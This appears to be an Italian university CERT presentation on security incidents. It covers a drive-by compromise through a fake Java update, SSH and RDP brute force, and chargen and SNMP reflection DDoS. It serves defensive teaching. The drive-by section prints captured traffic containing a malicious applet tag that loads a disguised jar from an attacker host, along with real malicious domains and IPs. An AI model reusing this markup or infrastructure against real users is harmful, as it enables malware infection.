Errori-Orrori Di SicurezzaBologna, 15/12/2015

Alcune definizioni

Cos'è un incidente informatico (What is a computer security incident? http://www.cert.org/incident-management/csirt-development/csirt-faq.cfm#2 )

Ogni organizzazione deve definire cosa ritiene per se stessa un incidente di sicurezza informatica. Alcuni esempi sono:

• Qualsiasi evento, sospetto o reale, relativo ad un computer o ad una rete di computer

• L'atto di violare una policy di sicurezza

Le seguenti attività sono esempi di incidente:

• Tentativi (falliti o riusciti) compiuti per ottenere un accesso non autorizzato ad un sistema o ai suoi dati

• Distruzione indesiderata di un servizio o la sua negazione (non disponibilità)

• Uso non autorizzato di un sistema con lo scopo di elaborare o estrarre dati

• Modifica di un sistema fisico, del suo firmware, del suo software senza possederne le conoscenze, l'incarico o il permesso

Le attività relative ad un incidente di sicurezza informatico possono essere definite come le attività di un computer o una rete di computer che potenzialmente minacciano la sicurezza dei sistemi informatici.

Alcune definizioni 2

CERT: temine e marchio registrato che indica: Computer Emergency Response Team. In Europa viene più spesso usato il termine CSIRT, Computer Security Incident Response Team.

Esistono molti altri acronimi in tutto il mondo che definiscono team di sicurezza con mansioni analoghe:

• CIRC Computer Incident Response Capability• CIRT Computer Incident Response Team• IRC Incident Response Center o Incident Response Capability

• IRT Incident Response Team

• SERT Security Emergency Response Team

• SIRT Security Incident Response Team

Alcune definizioni 3

Dispositivo compromesso: qualunque dispositivo collegato ad una rete informatica che è stato violato. Ogni dato su quel dispositivo è da ritenersi compromesso.

Bot: un dispositivo compromesso legato ad una botnet. La parola deriva dalla contrazione della parola robot, termine usato per definire programmi che agiscono in modo automatico come i risponditori di chat (primi esempi di bot). A volte si usa anche il termine zombie.

Botnet: rete di dispositivi compromessi gestiti dal bot master che può essere usata per compiere attività illecite. I bot ricevono istruzioni tramite i command and control (CnC) che sono “server” di gestione dell'attività di una botnet.

CERT-UniBo

• Ci occupiamo di monitorare il network dell'Ateneo (AlmaNet) con lo scopo di cercare attività di rete malevole o inappropriate. Non facciamo analisi “ad-personam” (tutela privacy) o “ad-IP”. Tutto questo è indicato nel regolamento AlmaNet e nel DPS dell'Ateneo.

• Gestiamo gli incidenti informatici• Cooperiamo con istituzioni analoghe

• Attività di divulgazione• Reportistica• ….

Avete mai ricevuto...

...una mail il cui oggetto assomiglia ad uno dei seguenti:

• [UNIBO#12254-168]: Botnet - 137.204.xxx.xxx - 2015-11-10 16:55 UTC [ATTIVO ET TROJAN XcodeGhost CnC Checkin -BubbleShooter/1019- init.icloud-analysis.com (shadowserver) - user: xxxxxxxxxx@studio.unibo.it Almawifi QUARANTINED mac=xx:xx:xx:xx:xx:xx hostname=xxxxxxx su IP_pool_studenti]

• [UNIBO#11858-168]: Botnet - 137.204.xxx.xxx - 2015-05-08 16:20 UTC [ATTIVO OGGI Win.Trojan.Mudrop - api.theswiftrecord.com - user: xxxxxxxxxx@studio.unibo.it Almawifi QUARANTINED mac=xx:xx:xx:xx:xx:xx hostname(probabile)=xxxxxx su IP_pool_studenti]

• [UNIBO#11813-168]: Botnet - 137.204.xxx.xxx - 2015-04-20 09:20 UTC [ATTIVO OGGI ET.Trojan.Neutrino - paranormal-online-kino.ru 109.120.180.29 - user: xxxxxxxx@studio.unibo.it Almawifi QUARANTINED mac=xx:xx:xx:xx:xx:xx hostname(probabile)=xxxxxx su IP_pool_studenti]

• [UNIBO#11813-168]: Botnet - 137.204.xxx.xxx - 2015-04-20 09:20 UTC [ATTIVO OGGI ET.Trojan.Neutrino - paranormal-online-kino.ru 109.120.180.29 - user: xxxxxxxx@studio.unibo.it Almawifi QUARANTINED mac=xx:xx:xx:xx:xx:xx hostname(probabile)=xxxxxx su IP_pool_studenti]

Cosa significano

L'oggetto vi da tutte le informazioni del caso

• Il corpo della mail:– descrive il problema– vi fornisce suggerimenti su come trattarlo– vi suggerisce cortesemente di rispondere

per notificare la mitigazione dell'incidente– ma sopratutto vi fornisce la prove della

compromissione (log incomprensibili)

Cos'è accaduto...

• ...una lunga lista di errori-orrori. Probabilmente siete stati oggetto di un browser exploit. Quasi sicuramente della famiglia * overflow. Principalmente perché state navigando con un dispositivo che ha delle falle (patch non applicate lato client). Siete approdati su una landing page. Vediamole in dettaglio scorrendo un nostro bollettino sulla sicurezza - “Landing Page: cosa sono e il loro ruolo nelle analisi del CERT-UniBo”.

• Questo errore è tipicamente umano e ricade nella seguente lista di casi: phishing, crypto*, APT & C., social engineering, ecc...

Landing page

Estratto di una definizione (fonte wikipedia):

"la landing page è una pagina web che viene mostrata in risposta ad un click sui risultati di una richiesta fatta ad un motore di ricerca oppure in risposta ad un click fatto su di un link pubblicitario o simile. La landing page è quindi una estensione logica del risultato di una ricerca o di un link pubblicitario o simile."

Precisiamo che, per "l'atterraggio", non è necessario che l'utente faccia click. Può essere sufficiente anche la sola visualizzazione di una pagina web che contiene una redirection.

Dal punto di vista di un bot, macchina compromessa, che cosa rappresenta la landing page? Si tratta di quella pagina da cui si origina la compromissione (browser exploiting).

Per noi del CERT è importante scoprire l'origine della compromissione.

Landing page: origine

• inquinando (poisoning) i risultati di un motore di ricerca (SEO)

• inquinando le query dns (man in the middle)

• redirection da link pubblicitari o comunicazioni (advertisement), difficile da scoprire

• siti web compromessi

Landing page: che succede

T 2013/03/08 17:05:47.995901 137.204.xxx.xxx:49187 ­> 31.193.195.150:80 [AP]

GET /news/ HTTP/1.1.

Accept: text/html, application/xhtml+xml, */*.

Referer: http://www.internazionale.it/.

Accept­Language: it­IT.

User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0).

Accept­Encoding: gzip, deflate.

Host: callhowiri.dnsalias.com.

Connection: Keep­Alive.

.

Il nostro bot è appena atterrato, vediamo i dettagli dell'atterraggio:● apparentemente richiede delle "notizie": GET /news/ HTTP/1.1.● ad un host "assurdo": Host: callhowiri.dnsalias.com.● il nostro bot si scopre: User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; 

Trident/5.0).● specifica in dettaglio la sua richiesta: Accept: text/html, application/xhtml+xml, */*. Accept­

Language: it­IT. Accept­Encoding: gzip, deflate.● chi l'ha condotto alla landing page? Referer: http://www.internazionale.it/.

Questa informazione è importantissima perché è l'inizio di un ulteriore analisi. Se l'approfondimento di tale analisi lo consente abbiamo la prova per una notifica al web master competente. Continuiamo ad analizzare la comunicazione del nostro bot.

Landing page: che succede 2

T 2013/03/08 17:05:48.115824 31.193.195.150:80 ­> 137.204.xxx.xxx:49187 [A]

HTTP/1.1 200 OK.

Server: lighttpd.

Date: Fri, 08 Mar 2013 16:05:48 GMT.

Content­Type: text/html; charset=UTF­8.

Connection: keep­alive.

X­Powered­By: PHP/5.1.6.

Cache­Control: no­store, no­cache, must­revalidate.

Expires: Tue, 30 Oct 2007 15:49:30 +0000.

Last­Modified: Tue, 30 Oct 2007 15:49:30 +0000.

Pragma: no­cache.

Set­Cookie: session=08; expires=Sun, 07­Apr­2013 16:16:10 GMT; path=/; domain=.callhowiri.dnsalias.com.

Set­Cookie: session=08; expires=Sun, 07­Apr­2013 16:16:10 GMT; path=/; domain=callhowiri.dnsalias.com.

Content­Length: 2302.

.

<!DOCTYPE html>

<html>

<body>

<p>Vex oozy mig drug digs lieu leashed feds maps lush, denuded denuded awol: bos bos dev zill seta id... Raphes raphes skeg... Versts versts</p>

<p>Puce oped tabu li podia vatting scups divined wicks fade sips gul aerify et lieu? Om om if retia fusains chine muon floored twirl</p>

<p>Honker xanthan dealer wolfer is remised born homily aaliis hm goonies hog ox nursers rifler, gyre gyre ah tythed eyeing burgs irk</p>

<p>Imagers zill whits sabin os oka elflike totems twirl. Scant scant rises annual bunt meccas mold owl ref lardy cusp gul clon, las las</p>

<p>Viva foh oblongs aaliis pale ear et whits scups perfect velar sip. Motels motels murkly dudes ora jun sly jilted schrik menad kings</p>

<p>Cuds still unific tis wore peri motels rusk vatting versts bio learnt leer totems luvs! Os os, dy

la landing page risponde: HTTP/1.1 200 OK.

Landing page: che succede 3

T 2013/03/08 17:05:48.115954 31.193.195.150:80 ­> 137.204.xxx.xxx:49187 [A]

e dye wo poll ox owl! Old old ripple</p>

<p>Mi sal menad yuk donnert popular cobia fritted ba hon om motels, old old weeks, slump slump eve not sillies: bio bio tympano quinoid</p>

<p>Mae thinned mewler coney handle man chicest gob quinoid gyri learnt putt still irk, heed heed ox: remised remised wore ale gastrea</p>

<p>Lush ecru is yagi vexils kir parsers pommee aerie raj chicest lieu utterly cuckold burgs cuds sips eyebars denuded oped suet wos</p>

<p>Hears snack mewler lardy lo taffia lacks gyri gob dip sip rank warms hic curds thinned chine, in in poll dashed nae gomeril, hon hon</p>

<p>Rises hon tye et oh ora utterly in iamb ben fief coney gyri dean jumps. Mag mag taffia coria old, if if, ordain ordain li hog puja</p>

<applet name="Java&#8482; Security Update 7u17" code="jre7.applet.class" archive="http://oracle.com­Java­Security­JRE1.7u17­Update­Win32­Release­for.callhowiri.dnsalias.com/news/88a66ctchciw.update?name=TW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgVHJpZGVudC81LjAp"><param name="urged" value="57a10dca3a1fb237811599bc11474b63"><param name="inapt" value="YWU0MDg5MzJkMmQxOGM4ZWM4NWIyZjJhYTQ0MTNiNzk="><param name="update" value="NuHHTtdhFhWCvcuHhucWNt20vKdc0B4ufvhfBB&fBWfTfaC#U4PCtfu#yuHcKPK2hF#yuHcKPKvBFufc#=UYYAPNte#Pf

#hBPTjK#CKKPhc#hcPu#UggrgA=YP">

</applet>

<p>Popular sat sagy ref sudden quinoid wore hears dashed opener, jaw jaw rich map sabin poll jun jane, amarna amarna chimers secs es</p>

</body>

</html>

Landing page: che succede 4

Quello che accade ora è molto interessante. In mezzo ad un testo gibberish (random e senza senso) viene richiamata l'esecuzione di un applet java. Analizziamo il tag applet:

• name="Java&#8482; Security Update 7u17"

• code="jre7.applet.class"

• archive="http://oracle.com­Java­Security­JRE1.7u17­Update­Win32­Release­for.callhowiri.dnsalias.com/news/88a66ctchciw.update?name=TW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgVHJpZGVudC81LjAp"

la prima parte di questa ultima stringa è esattamente identica a quella che ricevete da oracle quando aggiornate java, almeno fino alla parola for. Il resto della stringa risulterà più chiaro nella trasmissione successiva.

Landing page: che succede 5

Di seguito compaiono i parametri dell'applet.T 2013/03/08 17:05:54.380818 137.204.xxx.xxx:49205 ­> 31.193.195.150:80 [AP]

GET /news/88a66ctchciw.update?name=TW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgVHJpZGVudC81LjAp HTTP/1.1.

accept­encoding: pack200­gzip, gzip.

content­type: application/x­java­archive.

User­Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.6.0_39.

Host: oracle.com­Java­Security­JRE1.7u17­Update­Win32­Release­for.callhowiri.dnsalias.com.

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2.

Connection: keep­alive.

.

Il nostro device sta per essere compromesso.

Landing page: che succede 6

Infatti fa un operazione interessante:

GET /news/88a66ctchciw.update?

name=TW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgVHJpZGVudC81LjAp HTTP/1.1.

al server:

Host: oracle.com­Java­Security­JRE1.7u17­Update­Win32­Release­for.callhowiri.dnsalias.com.

Se componete queste due stringe trovate il campo archive contenuto nel tag applet che abbiamo visto sopra. Questa GET serve a scaricare l'archivio jar che verrà eseguito come applet nel browser con i parametri di cui sopra (sono i campi 'urged' 'inapt' e 'update' all'interno del tag applet analizzato sopra). Ogni client (probabilmente un futuro bot) eseguirà l'applet con parametri diversi questo per rendere più semplice al botmaster il censimento/controllo del futuro bot e rendere più difficile un analisi del codice dell'applet.

Un altro dato interessante è lo user agent: User­Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.6.0_39.

A bordo del futuro bot c'è la versione java 1.6.0_39 che secondo wikipedia è stata rilasciata il 01/02/2013. Il falso aggiornamento avviene il giorno 08/03 cioè qualche giorno dopo un rilascio ufficiale da parte di oracle. Il 04/03 oracle rilascia la Java SE 6 Update 43 e la Java SE 7 Update 17. Quindi quanto sta per accadere è apparentemente innocuo per qualsiasi utente.

Sottolineiamo che il tag Host ha un valore la cui risoluzione viene impostato tramite codice offuscato presente sul server che ha prodotto la redirection. In questo caso si tratta di www.internazionale.it. Ogni altro client che visualizzerà la medesima pagina riceverà un valore per il tag Host diverso. Questo per rendere inefficaci le eventuali contromisure prese a livello dns.

Landing page: che succede 7

Vediamo cosa risponde la nostra landing page.

T 2013/03/08 17:05:54.429591 31.193.195.150:80 ­> 137.204.xxx.xxx:49205 [A]

......

T 2013/03/08 17:05:54.502184 31.193.195.150:80 ­> 137.204.xxx.xxx:49205 [A]

HTTP/1.1 200 OK.

Server: lighttpd.

Date: Fri, 08 Mar 2013 16:05:55 GMT.

Content­Type: application/java­archive.

Connection: keep­alive.

X­Powered­By: PHP/5.1.6.

Content­Length: 37481.

.

PK........i.gB................META­INF/MANIFEST.MFm..N.@...=..0KM..(.I\.....)­...t.............=9.Nr..YF@.1..j.!..tm!...l..[.dZ..R..,.5t I.h.S.^.....

[...sintetizziamo...]

T 2013/03/08 17:05:54.804230 31.193.195.150:80 ­> 137.204.xxx.xxx:49205 [AP]

.............META­INF/MYCERT.RSAPK..........i.gB..........................0...META­

INF/....PK..........i.gBq./d|.....................m...jre7/applet.classPK..........i.gB7u..:5...\...

.............

(...jre7/efsYellNil.classPK..........i.gB....D/...P.................T..jre7/jayMattes.classPK.......

...i.gB.O..1...L.................

+...jre7/piggingSural.classPK..........i.gB.fa0'.........................jre7/quaMunBus.classPK.....

.....I...

.....

Il nostro bot sta ricevendo un archivio tipo jar. Infatti nell'ultimo dettaglio della comunicazione compare il contenuto dell'archivio proprio come in un normale file jar o zip. Sembra proprio tutto normale.

Landing page: gli utenti

Abbiamo intervistato diversi utenti per farci un idea della percezione che hanno avuto dell'accaduto.

Hanno risposto che è comparso loro un popup per l'aggiornamento di java "targato" oracle del tutto simile a quello ufficiale. Nessuno di loro ha notato alcunché di insolito.

Landing page: webmaster

La nostra analisi si è indirizzata anche verso la landing page e i relativi server estratti dal tag Referrer.

Il numero dei referrer identificati in questa analisi è circa 60, tutti i server usavano openX per l'advertising.

Abbiamo segnalato la cosa ad alcuni provider italiani purtroppo pochi hanno risposto e pochissimi hanno risolto il problema. I responsabili di internazionale.it sono quelli che hanno meglio affrontato e risolto il problema.

Per produrre l'evidenza da notificare ai provider ci siamo messi nei panni di un normale visitatore e abbiamo simulato la sua GET per ottenere l'evidenza della redirection sulla landing page malevola che portava alla compromissione e creazione del bot. La tipologia di bot creata era variabile. Da questi “approdi” sono stati creati bot di tipo Zeroaccess, ZeusP2P, Pushdo, ecc..

Landing page: webmaster 2

La scarsa collaborazione da parte dei provider che hanno ricevuto la segnalazione è da imputarsi a diversi fattori:

• scarsa visibilità del CERT UniBo al di fuori di Almanet: non esiste una pagina web di riferimento ad es. https://cert.unibo.it

• danno di immagine del sito

• ricaduta economica dell'intervento: internazionale.it ha ri-progettato il sistema di advertising. Non tutti i webmaster hanno le conoscenze e/o le capacità economico-tecniche per affrontare il problema.

• non esiste un sistema di coordinamento dei CERT a livello nazionale e internazionale.

Vista la criticità della situazione e la scarsa collaborazione dei provider, abbiamo poi segnalato il problema al GARR e al responsabile dell'area security Consip che ha poi passato le nostre segnalazioni alla Poltel: enti che sicuramente possono costituire una leva più “credibile” di noi sui provider.

Landing page: conclusioni

Risulta evidente che:

• le macchine vanno sempre aggiornate e tramite fonti sicure

• le redirection possono essere fonte di compromissione: bloccare l'automatismo è possibile tramite extension del browser come noscript per firefox

Ma lato server...

• Patch non applicate (vedi casi precedenti), anche i system administrator sono umani.

• Molto spesso ci si imbatte in errori di configurazione che forniscono un buon punto di partenza per un attacco. Partiamo con iI brute-force attack. Anche in questo caso ci affidiamo ad un nostro bollettino di sicurezza (Attacchi a forza bruta).

Brute Force Attack

Per metodo a forza bruta (trad. brute force) si intende (fonte it.wikipedia.org): "un algoritmo di risoluzione di un problema che consiste nel verificare tutte le soluzioni teoricamente possibili fino a che si trova quella effettivamente corretta".

In sintesi consiste nell'attaccare un sistema ad es. provando un numero elevato di credenziali (username e password), fino a trovare quella giusta che permette l'accesso al sistema.

Il problema da risolvere per tentare un attacco di questo tipo è quello di trovare un elenco di credenziali valido da usare nell'attacco. Infatti generare sia username che password a caso di una ben definita lunghezza tra i caratteri alfanumerici può richiedere parecchio tempo e risultare poco efficace. Basti a pensare che tra questi tentativi ci possono essere anche quelli inutili formati da caratteri ripetuti.

Brute Force Attack 2

Molto spesso un attacco a forza bruta viene condotto usando elenchi di credenziali di default per cercare eventuali accessi che administrator poco zelanti hanno sottovalutato: un ingresso non autorizzato anche se di bassi privilegi non deve mai avvenire.

Il caso più eclatante fu quello dei nodi Conficker che conducevano attacchi brute force su IP a caso usando una tabella di cinquanta credenziali banali. Riuscirono a mettere in crisi il sistema di un ospedale britannico che aveva una group policy che disattivava gli account che venivano sbagliati per tre volte consecutive in poco tempo.

In altri casi, più pericolosi, l'elenco viene prodotto e aggiornato con la mietitura dei bot. Una volta che il pc è entrato nella botnet viene esaminato alla ricerca di dati importanti come le credenziali di un account: molto spesso l'utente adotta la stessa password per accedere a servizi diversi.

Questa è la ragione per cui suggeriamo sempre di modificare in sicurezza le credenziali che sono state usate su di un sistema che è stato identificato come compromesso.

Per quanto esposto la soluzione più semplice a questa tipologia di attacco è quella di adottare password lunghe, complesse e possibilmente aggiornate di frequente.

Brute Force Attack 3

Tuttavia occorre anche considerare gli effetti collaterali dei brute force. Primo fra tutti è certamente il DOS (Denial Of Service), ad es. l'attaccante produce più tentativi di quanto il PC attaccato possa gestire o addirittura l'attacco viene condotto da più sorgenti (DDOS - Distributed DOS).

Soluzioni efficaci ad attacchi DOS sono difficili, ma qualche attenzione può limitare il problema.

Ad es. possiamo limitare gli accessi: il classico servizio rdp lasciato aperto al mondo intero. Un altro esempio nel caso di server ssh configurare l'accesso remoto solo tramite chiave, oltre a renderlo più semplice e sicuro, vanifica gli attacchi automatici sopra descritti. Se possibile è opportuno limitare temporalmente i tentativi di accesso.

Brute Force Attack: alcuni dati

Brute Force Attack 5

Alcune considerazioni:

• gli attacchi forza bruta possono protrarsi a lungo oppure essere a piccoli spot ripetuti temporalmente. Per difendersi dal pericolo di "saturazione delle tabelle", gli IDS devono cercare il giusto compromesso nel conteggio degli eventi. Solitamente ne contano un determinata quantità, poi per un certo periodo di tempo ignorano l'evento. Dopo quell'intervallo di tempo riprendono a catalogarlo e così via. Quindi il conteggio degli eventi è una stima in difetto

• gli attaccanti RDP sono in numero quattro o cinque volte quelli SSH: questo semplicemente perché tali tentativi vanno più facilmente a buon fine. Una volta predisposto l'accesso RDP, come ultima barriera all'accesso indesiderato, rimane la robustezza della password utente che non ha coscienza del problema. Non sempre gli administrator possono imporre dei criteri di robustezza della password, per cui è buona cosa disattivare l'accesso rdp. Considerazioni simili si possono fare riguardo al servizio netbios

• i bersagli numericamente maggiori sono gli SSH: questo perché il servizio RDP è fortunatamente volutamente disattivato o limitato.

• ogni servizio, se visibile è soggetto ad attacchi (vedi shodan).

Brute Force Attack: conclusioni

mantenere i servizi/server aggiornati: non è infrequente il caso di servizi obsoleti, tra i tanti VNC è sicuramente il più appetibile

valutare se è il caso di predisporre l'accesso, ma soprattutto a chi fornirlo (caso rdp)

adottare il più alto livello di sicurezza per l'accesso, ad es. l'accesso SSH tramite certificato è più sicuro della password SSH

Ma lato server... 2

• Chissà quali strumenti esoterici verranno usati? Il vostro smartphone. Un altro bollettino: attacco DDOS del 20120131 inizio ore 17:16 & ticket con oggetto "scan 22/tcp(SSH) probabile da hacked jailbroken iPad/iPhone"

Scan su porta 22/tcp(SSH)

Il settore mobile sta diventando sempre più interessante per l'underground economy. Questo perché uno smartphone è un pc a tutti gli effetti, di discreta "potenza", sempre connesso e di difficile individuazione perché mobile. Spesso la configurazione di default dell'apparecchio attiva servizi che poi l'utente non usa nemmeno, non ne è consapevole o, come in questo caso, non vi presta la dovuta attenzione.

L'attività rilevata sono scan su servizio ssh molto lenti, quindi difficilmente individuabili in quanto molto simili ad attività benevola, e diretti verso un insieme di IP molto vario: range di IP di provider mobile italiani: TIM, WIND, VODAFONE. Ora stiamo notando anche range di IP privati interni ad ALMAWIFI.

Qualche anno fa le nostre analisi ci avevano portato all'identificazione di nodi di una botnet che avevano un comportamento molto simile. Una volta compromessi questi nodi scaricavano dai CnC la lista di IP su cui dirigere lo scan. La loro identificazione era molto "semplice" ed era basata su quest'ultima attività. Fare lo stesso tipo di analisi su IP dinamici è assai più oneroso/impegnativo.

Scan su porta 22/tcp(SSH) 2

Sui dispositivi iphone jailbroken spesso viene installato un server ssh. Se non si presta attenzione a quanto segnalato a video durante l'installazione del servizio ssh entrare su questi dispositivi, una volta in rete, che hanno account root con password di default nota è molto semplice. La pericolosità di questa situazione è evidente:

-una macchina di questi tipo è facilmente identificabile in rete

-il tipo di accesso lasciato "incustodito" è quello che permette i massimi privilegi.

Se la situazione è questa l'unica soluzione che ci sentiamo di consigliare è quella di riportare il dispositivo al factory default magari in DFU mode (modalità in cui il terminale non ha altre interazioni).

Se l'iphone segnalato non è in questa situazione probabilmente vi è stata installata un applicazione malevola individuabile solo tramite attività forensica. Anche in questo caso suggeriamo il restore al factory default.

Ma lato server... 3

Vediamo gli effetti di un altro caso, una botnet usata per fare bruteforce ssh. I dati provengono dal nostro NBADS (Network Behavior Anomaly Detection System).

WormTracker_20090928allday (Bday -1)Botnet ssh bruteforce

Brute force SSH distribuito

La situazione che avete appena visto è relativa alla normale attività di scan/attacco brute force su porta 22/tcp (ssh).

Gli ovali esterni rappresentano le reti di Almanet che in un dato momento sono oggetto di attacco da parte degli IP raffigurati all'interno.

WormTracker_20090929allday (Bday 0)Botnet ssh bruteforce

Brute force SSH distribuito

Siamo al giorno di inizio dell'attacco, la situazione è ancora “tranquilla” ma più movimentata del giorno precedente che rappresenta la “normalità”.

Come nel caso precedente le reti di Almanet bersagliate sono all'esterno.

WormTracker_20090930allday (Bday 1)Botnet ssh bruteforce

Brute force SSH distribuito

L'attività si è fatta più frenetica e richiede approfondimenti.

WormTracker_20091001allday (Bday 2)Botnet ssh bruteforce(honeypot max 1848 ip/day)

Brute force SSH distribuito

Nel Bday2 siamo in piena attività... Con una honeypot abbiamo tracciato i tentativi di bruteforce per avere evidenze da ʻ ʼ

inserire negli incidenti/segnalazioni. Si è proceduto con l'estrazione degli IP sorgenti, per poi identificarne la provenienza

(whois), e segnalare a chi di competenza l'accaduto. Vista la mole di lavoro ci si è focalizzati verso gli IP ritenuti più sensibili come quelli di società/istituzioni italiane, quelli di enti accademici (nazionali e internazionali) o quelli di enti “sensibili” come ad esempio un ente balcanico per lo smaltimento di scorie nucleari o il sito del parlamento di uno stato africano

I target di questa botnet erano macchine con sistema operativo unix/linux che svolgevano molto spesso funzioni “importanti”. Gli utenti amministratori dei sistemi compromessi una volta intervistati hanno ammesso di non essersi accorti di nulla.

Gli assalti erano coordinati: le macchine compromesse prendevano istruzioni (lista degli IP target, credenziali da usare) su come procedere all'attacco facendo richiesta su porta 80/tcp (HTTP) a CnC. Quindi eseguivano pochi tentativi su ogni target. Tali informazioni sono frutto dell'analisi del traffico di una macchina Almanet compromessa che ha partecipato alla botnet.

I principali attaccanti provenivano CN, KR, CO...

Altri orrori di configurazione

Altri due “divertenti”, si fa per dire, bolletini di sicurezza:

• Un altro attacco DOS generato da Almanet su protocollo chargen

• Come utilizzare una stampante per fare un attacco DOS

Ed infine cosa riporta shadowserver su questi casi

DRDOS su protocollo Chargen

Chargen: si tratta di un protocollo veicolato sia su UDP che su TCP su porta 19. Venne pensato per testare, debuggare e misurare i servizi di gestione di buffer utilizzati nello streaming di byte.

Sottoponiamo il dispositivo incriminato ad attività di scan (nmap) per identificare i servizi esposti: la macchina è un Windows 2000

L'attività ci è stata segnalata dal CERT del GARR.

DRDOS su protocollo Chargen 2

Diamo un occhiata in dettaglio con l'analizzatore di protocollo:

U 2013/04/24 03:34:21.682445 184.168.59.80:8080 ­> 137.204.xxx.xxx:19

..................

U 2013/04/24 03:34:21.682788 137.204.xxx.xxx:19 ­> 184.168.59.80:8080

!"#$%&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg.

!"#$%&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh.

"#$%&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi.

#$%&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij.

$%&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijk.

%&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijkl.

&'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklm.

'()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmn.

()*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ [\]^_`abcdefghijklmno.

)*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnop.

*+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopq.

+,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr.

,­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs.

­./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst.

./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu.

/0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuv.

0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvw.

123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwx.

23456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy.

3456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst

DRDOS su protocollo Chargen 3

Leggendo su wikipedia del servizio chargen troviamo che: "una sessione tipica del servizio chargen la possiamo così descrivere: un utente si connette all'host usando un client telnet. L'utente riceve in risposta uno stream di byte. Lo stream di byte è solitamente formato da linee “ruotate” composte dai 72 caratteri ASCII. Lo stream di risposta continua fino a che la connessione TCP viene chiusa. Su connessioni UDP le risposte sono formate da datagrammi UDP contenenti un numero variabile di caratteri inviati ogni volta che il server viene sollecitato con un datagramma."

Questo comportamento è un formidabile metodo di amplificazione. Dai log del BADS abbiamo valutato il fattore di amplificazione intorno al 100x che equivale a dire che per ogni byte inviato dall'IP spooffato il servizio ha replicato con cento byte.

DRDOS con stampanti

Caso analogo al precedente ma su protocollo snmp (Simple Network Management Protocol) su porta 161/udp e community public

Wikipedia: "In informatica e telecomunicazioni Simple Network Management Protocol (SNMP) è un protocollo di rete che appartiene alla suite di protocolli Internet definito dalla IETF (Internet Engineering Task Force). Il protocollo opera al livello 7 del modello OSI e consente la configurazione, la gestione e la supervisione (monitoring) di apparati collegati in una rete (siano essi nodi interni di commutazione come i dispositivi di rete e nodi terminali di utenza), riguardo a tutti quegli aspetti che richiedono azioni di tipo amministrativo (management)."

Il punto di forza di questo protocollo è che opera in UDP e quindi fa "poco traffico". In caso di congestione della rete è l'ideale: fornisce informazioni importanti dello stato della rete ad un costo minimo.

I punti deboli, almeno per la versione 1 e 2, sono:

• la trasmissione è in chiaro

• non c'è una vera autenticazione. L'accesso alle informazioni viene fatto usando quelle che si chiamano community. Di solito la community di default è public

DRDOS con stampanti 2

Ora la domanda sorge spontanea, come hanno fatto a "bucare" delle stampanti? In linea di principio ogni risorsa è exploitabile ma probabilmente questo non è il caso.

La rete internet è formata da reti più o meno "buone". Da alcune di esse è possibile spedire traffico forgiato. Nel caso in questione la parte artefatta riguarda l'IP sorgente. A questo punto è chiaro che l'IP sorgente è l'effettiva vittima dell'attacco DOS generato da IP che ospitano un servizio mal presidiato (spoofing IP).

Come evitare tutto ciò?

• attivare e configurare solo i servizi necessari, disabilitare i restanti

• modificare tutte le community o password di default

• restringere l'accesso a tali servizi ai soli IP/utenti che effettivamente devono usarlo. Non abbiate paura di essere troppo restrittivi perché il pericolo di IP spoofing è tutt'altro che remoto (es. bot che forgia gli IP sorgenti dei pacchetti collegato nello stesso dominio di broadcast della risorsa che si vuole sfruttare)

• usare solo protocolli sicuri.

I dati di shadowserver (scan vari)

I dati di shadowserver (scan ssl, portmapper)

I dati di shadowserver (droni)

Ma la madre di tutti i mali...

• Orrori di configurazione a parte (fattore umano, negligenza, social engineering, ecc...), tutto può essere ricondotto ad un errore di programmazione: patch, browser exploiting. Diamo uno sguardo alla top ten di OWASP (http://www.owasp.org)

Chi è OWASP

• Home page (https://www.owasp.org/index.php/Main_Page )

